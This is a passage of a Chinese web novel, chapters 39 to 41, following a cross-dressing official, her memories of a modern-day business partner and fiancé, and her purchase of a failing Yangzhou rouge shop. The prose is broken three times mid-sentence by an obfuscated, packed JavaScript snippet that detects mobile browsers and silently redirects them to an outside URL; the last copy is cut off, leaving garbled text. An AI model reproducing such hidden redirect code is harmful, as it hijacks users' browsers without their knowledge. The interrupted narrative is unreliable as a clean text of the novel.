明桂枝眉毛一挑，瞪眼道：“那当然，桂林之枝，昆山片玉呢——”尾音拖得绵长，像在舌尖蘸了蜜，“你以为我状元郎是抄来的？” “你还骄傲上了？” 赵斐唇角刚翘起半分，立即又压平：“郄诜当年自比桂林一枝，可没教人做假账。” 话冷得像冰。 可眸底碎冰乍破，漏出一丝笑影。 “呀，你终于笑了。” 明桂枝扯了扯他袖口，“赵大人该多笑笑，比板着脸英俊十倍。” 雨渐渐歇了。 江风掀开半幅窗纱，抚在赵斐发烫的耳尖。 他一甩袍袖，乌蓝袍角扫落茶盏：“胡闹！” 瓷片撞在青砖地，脆响里混着明桂枝的笑声。 “哎呀！”方靖叹息：“可惜了，可惜了，这是钧窑盏呢……” 他一边蹲在地上拾碎片，一边又不禁好奇问：“诶，你们猜这幕后人是谁？” 说着，自问自答：“我看呢，此人必掌江、浙，且与户部勾连极深。” 赵斐摇了摇头，“恐怕不止，他能调动济南知府，势力定必涉猎山、河……” “户部尚书？” 方靖诧异。 赵斐还是摇头：“不止……” 方靖眼睛瞪得更大：“枢密院的？” 明桂枝插话：“你们说，会不会是皇上？” ——“慎言！” 方靖急得去捂她嘴，密卷叫他衣袖扫落火盆，纸页腾起青烟。 明桂枝“呀”地一声扑过去，右手抓密卷，左手抵着炭盆边沿——掌心按在烧红的铜沿上，“滋”地腾起一缕青烟。 赵斐连忙抄起茶壶泼火。 明桂枝已经攥回密卷，烛光里她摊开手掌，白生生的皮肉上，鼓起个透亮的水泡。 像落了颗露珠子。 “撕拉——” 赵斐扯下半截乌蓝衣布，动作快得带起风声。 布料缠上白玉似的手腕时，他指尖擦过“他”脉搏。 突突的。 不知道是“他”的脉搏，还是他的心跳。 他喉头一哽，话像卡了鱼刺。 “莽撞！” “无妨。”明桂枝却咧嘴笑：“倩娘懂医术，包扎手艺好得很。” 赵斐的心刹那黯然。 ——“他”腕上明明缠的是他衣布，嘴里却夸那妖妇的好。 罢了……罢了。 好歹，是他的衣衫缠着“他”。 39.心上人 雨停，江风未歇。 舱房里，烛火摇曳，映得关倩兮绿眸幽深。 她斜倚矮几旁，捏着素帕，替明桂枝涂烫伤药膏。 明桂枝皱着眉，闭眼忍痛。 药膏凉丝丝的，叫灼烧感消退几分。 关倩兮忽然开口：“方才，那黑面神嚷嚷什么？” 明桂枝眼也不抬，只淡淡笑道：“不过是粮价、银价的事。” 关倩兮轻笑一声，粉色眼影泛着微光。 她凑近，绿眸直直盯着明桂枝：“他想赶我下船，对不对？” 明桂枝一怔，随即摇头：“他只是一时情急，怕你教唆我贪墨腐败。” 关倩兮“嗤”地笑出声来，腕上翡翠镯轻碰到茶几，叮咚作响。 她歪着头，绿眸漾着几分促狭：“你为何总护着他？莫非……”话尾拖长了声调，“你对他有意？” 明桂枝眉头一蹙，立刻道：“胡说什么。” 关倩兮却不依不饶，指尖轻轻抚着她手腕，低声道：“那你……可有心上人？” 明桂枝手腕一颤。 案上茶盏里，残茶微晃，映出她恍惚的眉眼。 她想起岑誉。 那个与她并肩作战多年的男人。 “……有过。”她低声道，声音轻得几乎被江风吹散。 关倩兮没再追问，只是轻轻叹了口气。 指尖继续摩挲过她的腕骨，像抚过一段无人知晓的旧事。 窗外，冷风掠过江面，吹皱一池春水。 …… 盛矅集团，顶层办公室。 落地窗外，暴雨如注。 岑誉的西装外套搭在椅背上，袖口还沾着昨夜应酬的红酒渍。他双手撑在明桂枝办公桌前，眼底泛着红丝。 “桂枝，如今，只有你能帮我——明氏是物流业的龙头……” 他声音沙哑，语气带着一丝哀求。 明桂枝敲完一段键盘，才抬眼看他。 “我父母在我小学就离婚了，我被判给我妈，这些你都知道……我与他明兴波，没有你想象中的舐犊情深。”她合上笔记本电脑，“我一年见不了他几次，他怎会为我注资盛矅？另想法子吧。” “还有什么法子？” 岑誉猛地直起身，蹭翻咖啡杯，褐色在文件上晕染开，像块疮疤。 明桂枝抽了张纸巾，按在文件上，“我与你手头上的盛矅股份，加起来有13%，可以再向银行抵押，我刚刚已经拟好贷款企划……” “如果资金链再断——” 岑誉声音徒然拔高，在空旷的办公室里炸开。 “砰！”他把玻璃杯砸碎在大理石地上。 “我就什么都没有了！” 玻璃墙外，加班的员工齐刷刷抬头。 几十双眼睛透过百叶窗帘望进来，仿佛看一场即兴的戏剧。 明桂枝深深吸气，声音很轻，却无比坚定。 “我们可以重头再来，我陪你东山再起。” 她的目光直视着他，像是要望进他的灵魂深处。 “原本，我们就是白手起家，从一间小小的''鹿宝''拼搏到……” “闭嘴！” 岑誉打断她，声音从齿缝里生生挤出来。 他的眼睛充血，额角的青筋暴起：“不要和我提‘鹿宝’！” 说着，一把抓起桌上的文件夹，狠狠砸向明桂枝身侧。 纸页四散飞舞，像为她下一场苍白的雪。 “我说过，我讨厌这个名字！”他的胸膛剧烈起伏，冷笑道：“白手起家的是我，是我一个！你们都是沾我光！” 明桂枝的瞳孔骤然紧缩，“我们难道没有陪你苦熬过？” 岑誉嗤笑一声，轻蔑扫视她的脸。 “熬什么？” 他向前逼近一步，高大的身影笼罩她。 “明大小姐仙女下凡，来体会一下人间疾苦罢了，又怎能明白我的境况？” 明桂枝呼吸一滞，她抬头瞪他。 “岑誉，你不要太过分！” “不是吗？盛矅真要倒了，你大不了回明氏。”他俯身撑住桌面，领带垂下来晃荡，似一条毒蛇。 “只是，不知道你父亲愿不愿收留我这赘婿？” 空气骤然凝固。 明桂枝慢慢站起来。 岑誉比她高了不止一个头，她不得不仰视他。 但她没有丝毫退缩，眼神冰冷而锋利。 “我从来不知道……” 一字一顿，字字如刀，“岑誉是这样没有志气的人。” 办公室里一片死寂。 窗外的雨声变得清晰。 十足无数细小的针，扎在两个人的心上。 “呵，志气？” 岑誉低笑出声，“大小姐，你的清高能当饭吃？”他声线拔高，“公司倒了，你的股权证书也是废纸！” “岑誉，当初你一意孤行，非要搭建盛矅的独立供应链体系，我们所有股东都提醒过你的……愿赌服输，你面对现实好不好？” “现实？大小姐要说现实？那我就和你说说现实吧！” 岑誉从西装暗层掏出一张支票。 “袁氏开了个不错的价，要买你运营团队的核心数据。” 他歪着头，露出毒蛇般的微笑。 “你说……我该不该成全他们？” 明桂枝结过支票。 是令人心动的价码。 “不错嘛。” 她笑了笑，心里似乎有什么东西碎了又碎。 “这才是我认识的岑誉，永远有Plan B。” 她站起身，将支票递回给他。 抬眸时，眼底结着冰：“只是没想到，你这次的Plan B是拿我当祭品。” …… 明宅。 会客厅飘着雪茄苦香，混合檀木家具的香气。 落地窗外，暮色沉沉。 明桂枝看向庭院，那里罗汉松树影斑驳，在草坪投下暗痕。 明兴波背对着她，正在开一瓶八二年的罗曼尼·康帝。 酒刀旋进木塞，声响很轻。 “你那未婚夫……” 他头也不抬，手腕一拧，木塞“啵”地脱离瓶口。 “就是个笑话。” 深红酒液倾入水晶杯，灯光下，泛出血色。 “烧了半间盛矅的资金，连华南区的供应链都没铺满。” 他将酒杯推到明桂枝面前，“想学我靠岳父发达？” 说着，讪然一笑，“我明兴波走得通的路，不是他想走就能走的。” “别这么刻薄。” “哪里说错了？” 明兴波径自与她碰杯，“只可惜，你挑男人的眼光……”他抿了口酒，“比不上你妈。” “他的计划，自建供应链体系，结合大数据精准反哺电商业务……逻辑上没有漏洞，坏在太过急进。” “这世界看结果的。” 明兴波打断她，酒杯晃出挂壁酒痕。 “谁耐烦与你说逻辑？” 明桂枝把股权转让协议推过去：“我不是来求您注资。” 她拧开笔帽，“盛矅3%的股份，是有投票权的实股，市价六折。” 抬起眼时，她目光平静得像一潭死水。 “——明氏不是一直想拓展电商业务吗？机不可失。” “什么代价？” 明兴波轻轻敲打那份协议，节奏像在计算什么。 “没有代价，”明桂枝凄然一笑：“是我不想留在盛矅。” 窗外，一阵风吹过。 罗汉松的枝叶沙沙响。 “盛矅虽然不是家族企业，但股东少，又不上市，实股有价无市……你不是一直找人搭线，想要入股他们么？过了这个村，就没这个店。” “3%……”明兴波眯起眼，“不够。还有更多么？” “我只有这3%，好歹是块敲门砖。” 钢笔在指间转了个圈，“您不要的话，袁氏商贸也有兴趣……” “我要。”明兴波伸手接过笔，动作快得像捕食的鹰，“蚊子腿也是肉。” 钢笔尖悬在签名处，他突然问：“那小子，他不知道你来找我？” “不重要。” 她签完最后一笔，咔哒合上钢笔。 走到门口，她突然回头，目光落在墙上那幅被撕得只剩父亲一人的创业合照上。 “对了，我记得您喜欢吃‘老陈记’的核桃酥？” 明兴波正在看协议，闻言顿了顿：“嗯，老家的味道。” “但您好多年没回老家……” “我怕那些穷鬼问我借钱。” 明桂枝自嘲一笑。 她想起岑誉偏爱的那家馄饨店。 他总说“汤底有老家的味道”。 真蠢。 她怎么现在才想起来，岑誉也是从来不回家乡的。 这两人比亲父子还相似。 但曾经，她竟觉得他们毫不相干？ …… 股权交割完成的那天，明桂枝把三样东西摆在岑誉桌上。 股权转让书、离职信，还有她的订婚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15295120|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戒指。 这三样东西摆在一起，像一场无声的宣战。 临走前，她最后环顾这间曾熬夜奋斗过的办公室，心里莫名的焦躁。 不够，这决裂还不够。 手机通讯录里，岑誉的名字被永久删除。 微信、邮箱、甚至游戏好友列表，所有能想到的联系方式，都被她一一抹去。 没有告别，没有解释。 就像随手擦掉窗上的雾气，了无痕迹。 因为竞业协议的限制，她没有选择同类企业，而是去了一家知名的MCN公司任职。 新办公桌上没有合照，没有纪念品。 只有一盆绿萝。 安静生长。 后来，她从财经新闻里得知—— 明氏的注资让盛矅度过危机； 岑誉那充满野心的计划大获成功； 明氏因此市值翻倍，成为最大赢家。 消息传来时，恍如隔世。 再激不起她心中半点波澜。 只是，在某个加班的深夜…… 她独自站在落地窗前，俯瞰城市灯火。 心里无端闪过一个念头。 在她不辞而别后，岑誉会不会……有过哪怕一瞬间的痛心？ 但过了那脆弱寂寥的一刻，她忍不住笑自己幼稚。 再后来，她听说岑誉还是成了明兴波女婿。 她那风流的父亲有好几个私生女，不是非她不可。 这个事实像根刺，时不时扎她一下：会不会从一开始，岑誉接近她，就只是因为她是明兴波女儿？ 弟弟明松枝看不惯她闷闷不乐，想撮合她与他的教授。 “宋教授虽然主攻明史，” 明松枝朝她眨了眨眼，“但对大航海时代也颇有研究——你最着迷的那段历史。” 宋琦是个妙人。 初见时斯文儒雅，熟络后却幽默风趣。 他那偌大的屋子里，摆满亲手制作的大航海时代船模。 他讲述那些被历史遗忘的航海传奇，滔滔不绝。 他们有很多共同话题，相处时总是欢声笑语。 只是偶尔，当宋琦低头翻阅资料时，那专注的侧脸轮廓……或是他谈起学术理想时，眼中闪烁的光芒…… 都会让她恍惚想起另一个人。 她，还是时不时会想起岑誉。 …… 夜凉如水。 甲板上只余一盏孤灯，在江风中明明灭灭。 明桂枝抱膝坐在甲板上，黛色官袍沾湿夜露。 江面漆黑如砚。 她抓起一颗石子掷向江心。 “咚——” 涟漪层层荡开，搅碎了船灯的倒影。 万籁俱寂，她才终于敢承认——她爱过岑誉。 或许，还爱着？ 爱他谈笑间破局的魄力。 爱他眼底燃烧的野心。 甚至爱他衬衫袖口沾着的咖啡渍。 那个在投标现场流着血签完合同的人，曾经让她心甘情愿奉上全部热忱。 可最终，他选了利益。 他抛弃了一个又一个伙伴，包括她。 就像父亲撕掉合照里一个又一个曾经的兄弟。 明桂枝不禁笑出声来，笑声很快被江风吹散。 多讽刺啊。 她分明最厌恶她父亲，却选了一个最像他的男人。 指尖无意识地抚上手腕的纱布，那里还仿佛残留赵斐的温度。 她想起他紧蹙的眉头，他故作镇定却微微发颤的手指，想起那句“你知道我会拦你”。 即便立场敌对，即便明赵两家势同水火，他也从未将她视作筹码。 江面被风吹出涟漪。 一尾鱼跃出水面，又沉入黑暗。 可是，岑誉当初……也是很好很好的啊。 这念头让她心尖发颤。 明兴波刻薄的评价在耳边炸响。 “你挑男人的眼光，比不上你妈。” 夜风渐冷，她抱紧双膝。 如果，如果当初止步于友情…… 如果不曾交付真心…… 如果…… “你不要命了？” 赵斐的声音突然在身后响起。 带着他体温的外袍，被强按落在她肩头，“你的风寒还未好。” 明桂枝没有答话，只是将他的外袍裹紧了些。 月光破云而出。 照着二人的影子。 一坐一立，不远不近。 恰如他们此刻的关系。 40.胭脂 时值五月，扬州早已入了梅，空气湿得发闷。 客栈东侧，赵斐的房间临窗，窗外正是瘦西湖，雾气笼罩，湖面朦胧似梦。 “此番抵达扬州，诸事待办。”赵斐指着地图分配任务：“仲安兄，你去集市探查粮价，米面油盐，一一记录，务必详实。” 方靖嘴角一弯，“遵命，”他扬了扬手里的簇新札记：“正好，我开了本新的。” 赵斐目光移向明桂枝，语气不自觉放缓，“昆玉，你去城南，了解生丝、绸缎价格。” “好极！” 明桂枝抬眼，眼珠子亮亮的，像听到什么合心意的事，“我也正好想看看丝绸行情。”顿了顿，怕这话显得轻浮，又补了一句：“知物价，方知民生。” 这声线落在赵斐耳里，份外清脆。他眼底闪过赞许之色，嘴角微动，似要笑，却又生生压住，只点了点头，转而看向桌上的文书，“我去府衙交接文书，顺便查阅太府寺交代之事。” 手指轻叩桌面，笃笃两声，仿佛让自己定下心神。 方靖却打趣明桂枝：“昆玉，你这任务再适合不过，顺道给关娘子买绸缎，到了杭州好裁新衣裳！” 他话音未落，赵斐目光一凛，直直瞪向他。 方靖自知失言，忙端起茶杯，低头啜了一口，掩饰尴尬。 “放心，”明桂枝朝二人一笑：“我定必妥善安排，不会因私忘公。”声音如风过竹林，清清爽爽，打破了屋内的沉闷。说完，“他”一揖手，转身往外走，步子轻快，不带半丝心事。 赵斐望着那抹黛色转过照壁，叹了口气。 方靖放下茶杯，轻咳一声，起身道：“赵大人，我也去了。”临走，他又拍了拍赵斐肩膀：“到了杭州，我替你打探打探。” “打探什么？” “适龄佳丽。” “不必！” “我懂的。” “你不懂！” 方靖径自笑道:“我与昆玉都有伴，只你一个形单影只，难免寂寥。” “我不寂寥，你别多管闲事！” “你都寂寥得唉声叹气了。”方靖一边说，一边笑嘻嘻出了门，留下赵斐一人站在窗前，望着烟雨湖光，眉头又锁紧几分。 …… 扬州府衙里，文书交接得顺利得出乎意料，知县孙有榕把珍藏的苏州碧螺春拿了出来，主簿也是点头哈腰，茶水端得热乎乎的。 不过一两盏茶的功夫，太府寺交代的事就查得一清二楚。 翻档案时，赵斐无意间看到一页泛黄的旧档，上面记着颜玉庄的贡品，批文褪色：“粉腻香温，然工繁价昂，改择苏绣。” 他愣了愣，目光停在颜玉庄那“玉”字上。 真糟糕。 如今看到“玉”字，想到“他”。 看到黛色，想到“他”。 看到桂花、明月，也想到“他”。 差事办得妥当，他本该舒一口气的。可不知为何，心头莫名生出一团郁闷，似这雨天湿气，黏黏腻腻，久久散不开。 不知不觉，他踱步徐行许久，竟快要徒步到城西。 得胜桥的石狮浸在雾里，雕刻的鬃毛结满水珠。 赵斐收了伞，倚着桥栏叹气。 桥下乌篷船驶过，橹声低沉，似从水底传来，又像从心底泛起。 赵斐望着船桨划开涟漪，思绪飘回昨夜船头。 眼前，浮现昆玉抱膝蜷在舱板的模样。 彼时他本想细问，可见“他”神色落寞，比夜色还黯淡，话到嘴边又咽回去，只好陪着“他”发呆。 “他”……与那妖妇吵架了？ 那他该高兴才是。 又或者，“他”为那妖妇郁郁寡欢，他该生气的。 为何……见“他”失落，他心也空空的。 这困惑一冒出来，赵斐想压下去，可越是压，越是翻涌，和应桥下的水流，淙淙地响着，没个停歇。 …… 扬州城南，雨气稍散。丝绸市集摊子挤挤挨挨，绸缎挂满竹竿，偶尔有风吹，哗哗响。 明桂枝夹起竹伞穿行，脚步轻快，左瞧右看，见什么都新鲜。 绸缎庄门前，杭绸漾过各样颜色；古董店里，瓷瓶映照雨后霞光；书画社门口，墨香混着湿气飘来；茶社里，琴声、吟唱声低低漏出，像雨滴敲瓦。 离开最后一间绸缎庄，札记早塞进袖里，赵斐交代的差事已毕，她却舍不得走，逛得起劲了，干脆做个偷闲客。 瑜宝轩里，掌柜拿麂皮擦着一枚和田玉佩。玉色水润，白得如冻住的月色，擦过的地方幽幽泛着软光。掌柜圆脸堆笑，凑近说：“新货，上好的老坑玉。”声音嗡嗡，像敲闷钟。 明桂枝接过凑到眼前看。 玉佩圆溜溜的，雕着祥云，触手温凉。 她却皱眉，“玉佩……唉，俗套了点，有没有新奇一点的玩意儿？”说着，杏眸一转，瞄到掌柜身后的货架，她指指其中一件，说：“那个好，拿来我悄悄。” 掌柜忙转身去拿。 外头雨又起，屋檐滴水啪嗒响，墙角有只猫“倏”一下跳上来，抖抖湿毛，朝她喵呜一声，仿佛搭腔。 明桂枝正要逗那小狸奴，却见两名贵妇走入，衣裳窸窣，香粉味钻进鼻孔。 “春棠茶社的藕粉糖糕，这个时辰，该出笼了……”一个说，手捏着帕子擦鬓角雨珠。 “等下去尝尝？”另一个应，眼睛瞟着货架的金簪。 明桂枝耳朵一动，想起倩娘夸过这藕粉糖糕，说入口清甜，嚼完嘴里还有莲藕余味。 她抽出袖子里的银票，与掌柜换了那古玩，转身就走。 小狸奴“喵”了一声，给她送行。 …… 春棠茶社茶社。 店小二麻利地包好糖糕，递过来时笑：“官人给娘子带的？准欢喜。” 明桂枝点头，接过纸包。 脑里晃过的，却是赵斐对着甜食皱眉的模样。 听倩娘说，这藕粉糖糕甜而不腻……也许，能合他心意？ 外头雨细了，街上的商贩吆喝声传来，似催她回程。 …… 颜玉庄前，杂草爬上青石板。 门槛石缝里钻出几茎杂草，门头匾额擦得程亮，可惜边角漆皮翘开，显得潦倒。 墙角的水牌写“吉铺转让”，红漆褪成粉色，一看便知放售许久，也找不到人接盘。 货架上的胭脂盒摆得还算齐整，榆木盒子光溜溜，没沾灰，掌店的勤快，抹得干净。但屋子空，飘着股朽味。 老木头泡水的味。 东家颜茗正倚靠柜台，拿绸布擦着个胭脂盒。 “吱呀”一声，门轴发出闷响，一道黛色身影走入。 颜茗抬头一看，只见来人约莫十七八岁，一身黛色绸袍，面容俊得似书里写的、绘本里画的。 那人东瞅瞅，西看看，手指划过货架，停在一盒芍药胭脂前，轻轻挑开盖子，捻开脂粉，抹在手背。粉透出细微珠光，“他”鼻尖凑近嗅了嗅，杏眸登时晶亮。 “这胭脂，好细腻。”声音清脆，似敲竹子。 颜茗继续擦胭脂盒，只点点头，没吭声。 那人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15298173|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又掀开另一盒，那是盒蔷薇胭脂。 “他”捻粉细抹。 “这粉质实在好，什么来头？” 颜茗一怔。 许久未遇识货之人，心里难免泛酸。 他苦笑说：“家父那辈贡过宫里的，用的一等一好材料：珠贝、芍药、白术、白芷，拢共十五六样，不好的都不愿用。” 脑子里晃过他父亲的身影…… 仲夏时节，他们父子俩在太湖边，和渔户收珠贝，雨水顺着斗笠淌，“儿子，认真挑，精工出细活，别砸了咱家的招牌。” 思及此，他心一抽。 这招牌守到如今，还是砸他手里了。 那“公子哥”笑笑，“那工艺呢？这么细的粉，很费工夫吧？” 颜茗手停下，绸布攥紧，强颜道：“家传的技艺，珠贝必须太湖的，芍药得挑雨后摘……磨了又磨，筛了再筛……”说完，长长叹了口气，似卸了块石头，又如捅了自个儿一刀。 他想起母亲，她站在柜前，一下一下敲着账本，“诶，儿子，少放点珠贝，价钱低些，兴许卖得动。” 还未待他回应，父亲便瞪着眼吼：“娘们家家的，别多事！货不好，连熟客都不回头了！” 母亲还想反驳，父亲提前截了她的话：“这方子贡过宫里，我得父传子，子传孙，世世代代传下去，一分一毫都改不得！” “掌柜?” 那人看他不答，追问道：“要筛多少次，才出得了这么细的粉?” 颜茗声音一沉：“您是来买货，还是赁铺？” 又顿了顿：“抑或……你来偷方子？” 罢了，罢了。 颜茗叹气。 铺子也好，方子也罢，卖了好。 这世道懂货的人少，省得他眼睁睁看父亲的心血被埋汰。 那人好似听不出他话里的刺，径自摩挲脂粉，“如此好的胭脂，怎配的这简陋盒子？” 颜茗拿眼角瞟“他”：“有麝自然香，咱家的货不靠那些虚的。” “他”笑出声，敲敲榆木盒子：“酒香，也怕巷子深啊。” 颜茗没接话，眼盯着她手上的盒子，心跳快了两拍。 他接手这铺子的时候，也想过换盒，父亲劈头盖脸骂他一通：“有空在盒子雕龙画凤，不如多筛两遍粉？买椟还珠！净是弄些虚头巴脑的！” 这榆木盒子，便一直用到现在。 “什么价？” 那人问。 “铺子吗？还是方子？” 颜茗回神。 “不，这盒胭脂。” 那人扬了扬手里的芍药胭脂。 “一贯钱。” “街口的凝香阁才卖四百文钱一盒。” 那人抬眉一笑，似在挑衅。 颜茗眉毛竖起，气往上冲，“那你去凝香阁买，” 语气也不由得急了，“他家用的铅粉，咱家用珠贝，能一样？” 那人沉吟，密密敲盒子：“铅粉啊……确实不好。”顿了顿，又问：“你们质好，咋不卖贵些？三贯，不，卖它个十两银。” 眼亮亮的，像点灯。 颜茗火气蹿上来：“一贯钱都没人问，还十两？你到底买啥？别搁这儿耗我工夫！” 心堵得很，他想起母亲的话：“儿子，价钱再低些，兴许卖得动。” 低些？ 还能怎么低？ 成本定在那儿，父亲又不让改方子。 “那铺子呢？” 那人问，头歪了歪：“你开什么价？” “你真想买？” 颜茗眼眯起来，死死盯“他”看。 “嗯，真想买。” …… 41.验资 雨又停了。 大食海商蒲承泽从市集返回码头，街面还带着湿气，害他靴底沾上青苔，走得吱呀响。 他刚在城南市集收完一批杭绸，布匹已差人运往码头。这批绸子薄如蝉翼，滑似春水，拿在手里沉甸甸的，满心都是赚头。他走在街上，步子轻快，像个刚赢了牌局的赌客。可走没两步，大约是被雨季的湿气感染，心里头有一丝阴云挥之不去。 前日酒宴里，他听同行嘀咕，说这大宁的朝廷要推什么“银税法”……他心里门儿清：一旦白银价跌，他这几批货的利润，得大打折扣。 城南市集不远处，便是码头。 蒲承泽眯着眼，目光穿过蒙蒙雨雾，看向远处摇曳的船影。 海风夹着咸味吹过，他心里盘算着：杭绸生意虽稳，却也局限。江南的风向变幻莫测，总不能一辈子只盯着这一条路。 新的合伙人也好，新的货物也罢，是时候寻个新路子了。 他抬起头，望着天边隐约的云层，思绪不由得飘远。 海上贸易的起伏，他再清楚不过，这份敏锐与果断、这份不服输的劲儿，都是从家族血脉中传承下来的。 蒲家祖上是宋代巨贾蒲寿庚的旁支，世代闯海，什么珊瑚玛瑙、象牙犀角，什么龙涎香、降真香，各式各样宝石奇珍，蒲家的货船都贩过。 家族的兴衰故事，总与海上的风浪纠缠一起。 到了他这一辈，船队虽不比祖上鼎盛，但仍攥着几条远洋的丝绸航路。 蒲承泽生得深目高鼻，眼神尤为锐利，能从丝绸纹路里看出行情高低。他熟知江南各地丝绸市场的每一个角落。谁家货好，谁家价虚，谁家藏着心思，他心里都有本账。 各地丝绸贩子见了他，老远就堆笑喊“蒲大官人”。 是打趣，也是尊称。 皆因他验货时快、准、狠，一瞥眼便知经纬疏密，价压得狠，却也从不拖欠银钱。 正在思忖间，忽听得身后人声扰攘。 蒲承泽回头一望，远远就瞧见城南最高的那栋三层楼——春棠茶社。 此刻，那第三层的飞檐处，垂下一幅竖着的朱红布幔，八个黑字泼墨般砸下来。 “新品发布，敬请期待”。 那字写得粗犷，张牙舞爪，似要一下子扑到人脸上。 蒲承泽嗤笑一声：“哪个土财主的手笔？” 脚下却不由自主往那方向挪。 茶社门前，立着块一人高的木匾，贴了熟宣。上头画了芍药花和蔷薇花，画得极简，两三笔勾出瓣子，却透着雅气。 花旁配着一行字：“颜玉庄全面升级改造，敬请期待”。 字还是那股粗犷的味道，瞧着简单，偏勾得人心痒痒。 蒲承泽站定，来回打量着那木匾，脑子里转开了。 颜玉庄？ 那家半死不活的胭脂老店？ 怎么就抖擞起来了？ 他正琢磨着，旁边路人也议论纷纷。 一个儒生打扮的人，摇头讪道：“什么叫‘全面’、‘升级’、‘改造’？该如何断句？狗屁不通！” “我问了老颜，”春棠茶社的陈掌柜凑过来，接过话头：“他说，‘全面’，就是彻头彻尾的意思，‘升级改造’是连一块的，意思是他家铺子要改头换面，要装潢一番，变得更好，更棒……” 旁边绸缎庄的东家皱眉问：“老颜不是要卖铺子了么？哪来的银子？” 陈掌柜挑眉：“就是卖了才有的银子呗！”他忍不住笑了笑：“八千两，上午签的契约。” “八千两！” 绸缎庄东家咋舌：“他这破落铺子还能卖八千两！” “老张，你还别说，八千两只买六成的股俸……” “六成！哪来的冤大头！” “别管，新东家觉得值，说光方子就值这个价。”…… 蒲承泽耳尖，听了这些，心念一动。 他摸了摸下巴，暗自思忖：看这颜玉庄的动静，莫非……背后有高人指点？ 还是说，就只是个冤大头？ …… 未时三刻，日头刚斜过瓦顶。 城南的颜玉庄，平日里是个不起眼的地方。门面旧了，匾额上的字也褪色，风一吹，门前柳树叶沙沙响，像老店在叹息。 可这天却热闹得紧。 正门被条红彤彤的横幅遮得严严实实，上头大字写着“全面升级，敬请期待”，字迹豪迈，黑底红字。远远看去，比方才那竖幅还招眼。 横幅旁留了道窄小的侧门，门缝里透出点光亮，隐约能听见里头人声嘈杂。 蒲承泽站在街对面，仔细打量这阵仗，心里嘀咕：这动静不小，怕是有戏。 他又瞥一眼那横幅，犹豫片刻，脚下还是动了，朝小门走去。 …… 门内别有洞天。 侧门一进，便是后院，院中搭着竹架，架上挂了十数幅绸缎。 都是十来丈长的。 绯红、枣红、棠红。 胭脂粉、洛神粉、初桃粉。 深深浅浅的红色、粉色。 绸缎随风轻摆，恍惚间，如一片花海在眼前晃荡。 边上立着柏木牌子，墨迹未干：“数枝芍药殿春迟”、“无力蔷薇卧晓枝”、“人面桃花相映红”……尽是些与花相干的诗句。 蒲承泽看着心喜，又不禁腹诽：这颜玉庄，倒是会装点门面，附庸风雅。 院子正中，八张榆木长案拼成一个大台子，上头摆满楠木托盘。 盘里码着白瓷胭脂盒，一个个整整齐齐。盒子旁还有瓷盆和小木牌，上书“净手试用”四个字。 蒲承泽走近了，伸出手指，轻轻蹭过胭脂，就着天光一捻，嫣红里掺着珠贝微光，似把晚霞揉碎了撒进去。 “掺了珠粉？” 他讶异，这胭脂的成色竟这样好：“不，是珠粉里掺了颜色才对。” 这样柔和温润的光泽，只有用大量的、上好的珠粉才能做到！还有这粉质，细腻得似烟、似雾，也不止磨了多少道、筛了多少次…… 蒲承泽走南闯北这些年，胭脂、香粉见过千百种，如此奢侈的工艺，真是头一遭见。从前只当颜玉庄是个破落铺子，没拿正眼瞧过，谁知道里头居然藏了宝藏。 南洋、波斯湾那帮土王就爱稀奇货，若真能吹出个名头，一转手，怕是翻三、五倍也不成问题！ “客官识货！” 一道清脆声线传来。 蒲承循声回首，见个穿黛绸的小公子走近。那绸缎的料子他认得，霞玉缎，去岁他们船队才捎了两匹去锡兰，一匹能抵半船豆蔻。 他不由得细细打量眼前人，只见“他”生得极俊秀，眉梢眼角似匠人雕琢过，比那拜占庭的石雕还精致。 那“小公子”见他试胭脂，微微一笑，说：“客官若有意，明日，我们宝号在这儿办‘新品发布会’。” 说着，指了指一旁的水牌。 发布会？ 蒲承泽一愣。 这词儿新鲜，他头一回听，顺着“他”的手看去，水牌上写着“明日午时，新品发布会，诚邀品鉴”。 他试探着问：“你这胭脂，多少钱一盒？” 那“小公子”不答价钱，只笑着说：“届时，我们会当着大家的面，做一遍胭脂，从头到尾，每一工艺、配方，都细细展示……” “细细展示？” 蒲承泽眼珠子瞪圆：“那独门秘方不就泄露了……” 他实在惑然，这人到底什么葫芦卖什么药？ “泄露了也无妨。” “为什么？” “因为成本太高，没有人能像我们这般不计工本，只为追求最好的品质。” 蒲承泽闻言，咧嘴一笑。 这话说得动听，但唬不住他这老江湖。 不过……这种说法，值得借鉴。 从今往后，他把绸缎卖给波斯湾那些土财主，也这个说辞。 等等，干脆，他这趟带上几个丝绸工匠，也当着买家的面缫丝、织布？ “好，我明日一定来，看看你耍什么宝。” 蒲承泽朗声笑道。 “客官且慢。” “嗯？” “参观这发布会，是要验资的。” 那人笑得和煦，像在介绍一盒新出的胭脂。 蒲承泽眉头一皱。 验资？ 什么意思？ “何为‘验资’？” 小公子笑意不减，慢条斯理解释：“意思是……要证明客官有能力消费我们的产品。” 顿了顿，又补一句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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赵斐立马起身：“明大人呢？他怎么了？”声音急得像绷紧的弦。 